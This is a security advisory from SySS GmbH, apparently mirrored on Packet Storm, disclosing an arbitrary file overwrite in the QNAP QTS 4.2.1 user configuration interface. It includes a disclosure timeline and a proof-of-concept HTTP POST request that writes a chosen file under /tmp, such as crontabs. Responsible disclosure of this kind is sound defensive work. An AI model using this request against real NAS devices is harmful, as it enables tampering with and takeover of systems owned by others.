QNAP QTS 4.2.1 Build 20160601 Arbitrary File Overwrite

2016-08-18T00:00:00
ID PACKETSTORM:138403
Type packetstorm
Reporter Sebastian Nerz
Modified 2016-08-18T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Advisory ID: SYSS-2016-053  
Product: QNAP QTS  
Manufacturer: QNAP  
Affected Version(s): 4.2.1 Build 20160601  
Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812  
Vulnerability Type: Arbitrary file overwrite (CWE-23)  
Risk Level: High  
Solution Status: unfixed  
Manufacturer Notification: 2016-06-06  
Solution Date: tbd.  
Public Disclosure: 2016-08-18  
CVE Reference: Not assigned  
Author of Advisory: Sebastian Nerz (SySS GmbH)  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
QTS is the operating system used by manufacturer QNAP on its series of  
NAS devices[1].  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
  
The SySS GmbH found an vulnerability in the user configuration interface  
of the QTS management webapplication, allowing an authenticated user to  
overwrite arbitrary files in /tmp and its subdirectories.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
1. Log in to the QNAP. The user needs no special privileges.  
2. Run a request like the following:  
  
==  
POST /cgi-bin/userConfig.cgi?imbgName=[newNameToOverwrite]&func=uploadBgImg&sid=[sid] HTTP/1.1  
Host: [IP of the QNAP]:8080  
Content-Type: multipart/form-data;boundary=foo  
Content-Length: 115  
  
foo  
Content-Disposition: form-data; name="filename"; filename="foo.txt"  
Content-Type: non-image-jpeg  
  
asdf  
foo--  
  
==  
3. The uploaded file will be written to /tmp/[newNameToOverwrite] allowing overwriting e.g. crontabs, PID-files and similar files.  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
The manufacturer has not released any security update or patch so far.  
Administrators of QNAP QTS 4.2 installations should ensure that only   
trusted users/administrators have access to the QNAP or the required  
permissions to update their profile.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2016-06-06: Vulnerability discovered and reported to manufacturer  
2016-06-20: Vulnerability report confirmed by manufacturer  
2016-07-06: Manufacturer asked for timeline regarding a fix  
2016-07-18: Manufacturer reminded about upcoming public disclosure  
2016-08-18: Public disclosure  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product website for QNAP QTS  
http://www.qnap.com/qts/4.2/en/  
[2] SySS Security Advisory SYSS-2016-053  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-053.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
Security vulnerability found by Sebastian Nerz of the SySS GmbH.  
  
E-Mail: sebastian.nerz@syss.de  
Public Key:  
https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc  
Key ID: 0x9180FDB2  
Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1  
  
iQEcBAEBCgAGBQJXtWVnAAoJENEtJqSRgP2yJOsIAIK6uglJJlCsfk4ZQR/3b0UH  
A1MAMDS4EMrW6+4CX5SS+69KHYpXYCGf4jvniEiFtMYyBrkVTVB1DdxWZXAsSVR4  
TI/xeWL2ltp1Kjt5uWiDZ41haoeuHCqWd0wB4+L3pQnOqtGi+THMBTt7s0dF3bPX  
x0r0qiDmDRR/CikePvw06igwEAJl3+1AxvawHhqCqAkNLQaCT4nzjheYqGhQxXmJ  
WWi1kKfWLDc684sjCf0kl0Cldzqw+dw2yx7aa/gderWxI/VwMYO7mZwGcvHQjqSq  
MTKH6tbMJ9agLoU2fzJCnk/d5QHk52Rtxu0DPjUl2/7CpFaxyhFE3R/0AKn6Wyw=  
=MtKH  
-----END PGP SIGNATURE-----  
`